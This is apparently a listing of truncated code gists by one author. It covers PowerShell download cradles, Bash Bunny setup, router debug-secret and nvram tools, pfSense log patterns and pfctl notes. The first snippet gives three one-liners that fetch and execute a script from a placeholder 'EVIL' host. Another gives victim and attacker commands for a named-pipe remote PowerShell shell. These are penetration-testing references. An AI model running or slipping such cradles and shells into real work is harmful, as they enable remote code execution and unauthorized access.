kost

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

kost

Custom languages don't work without bbpayload.

0. Fetch the bashbunny payloads:

git clone https://github.com/hak5/bashbunny-payloads.git

1. Slide the switch to arming position (all the way to the usb plug)
2. move contents of payloads/library/DuckyInstall to the payloads/switch1 directory in the bunny

kost

#!/usr/bin/env ruby
# Filter Nessus XML report to get services identified
# Copyright (C) Kost

require 'nokogiri'
require 'optparse'
require 'logger'
require 'csv'

kost

/* 
Calculate Bootbase/bootext secret for debug commands 
Zyxel, Huawei, ZTE, etc.

Usage:
$ gcc zynsecrets.c -o zynsecrets
$ ./zynsecrets 000102030403

Copyright (C) Kost, https://gist.github.com/kost

kost

#!/bin/sh
# nvram emulation shell script (c) kost, https://gist.github.com/kost
#
# Usage (on real device dump the content): nvram show > /tmp/nvram.file
# Copy script and /tmp/nvram.file to the emulation env, start using it
# In case you just need nvram command emulation, just copy script.
#
# uncomment for debug:
# set -x

kost

1. Run Software Update

Make sure everything is up to date.

2. Install Xcode and its "Command Line Tools"

1. Go to App Store and install Xcode.
2. Open and accept the terms

kost

# Command to run on the victim
# This will establish a PowerShell listener over the "pwnme" named pipe
remote /S "powershell.exe" pwnme

# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
runas /netonly /user:[Domain|Hostname\Username] "cmd"
remote /C [Hostname\IP] "pwnme"

kost

# GROK match pattern for logstash.conf filter: %{PFSENSE_LOG_DATA}%{PFSENSE_IP_SPECIFIC_DATA}%{PFSENSE_IP_DATA}%{PFSENSE_PROTOCOL_DATA}

# GROK Custom Patterns (add to patterns directory and reference in GROK filter for pfSense events):

# GROK Patterns for pfSense 2.2 Logging Format
#
# Created 27 Jan 2015 by J. Pisano (Handles TCP, UDP, and ICMP log entries)
# Edited 14 Feb 2015 by Elijah Paul elijah.paul@gmail.com
# Edited 10 Mar 2015 by Bernd Zeimetz <bernd@bzed.de>
# taken from https://gist.github.com/elijahpaul/f5f32d4e914dcb7fedd2

kost

{
  "title": "PFSense Firewall",
  "services": {
    "query": {
      "idQueue": [],
      "list": {
        "0": {
          "query": "tags: \"PFSense\" AND action: \"pass\"",
          "alias": "Passed",
          "color": "#6ED0E0",

kost

# basic pfctl control
# ==
# Related: http://www.OpenBSD.org
# Last update: Tue Dec 28, 2004
# ==
# Note:
# this document is only provided as a basic overview
# for some common pfctl commands and is by no means
# a replacement for the pfctl and pf manual pages.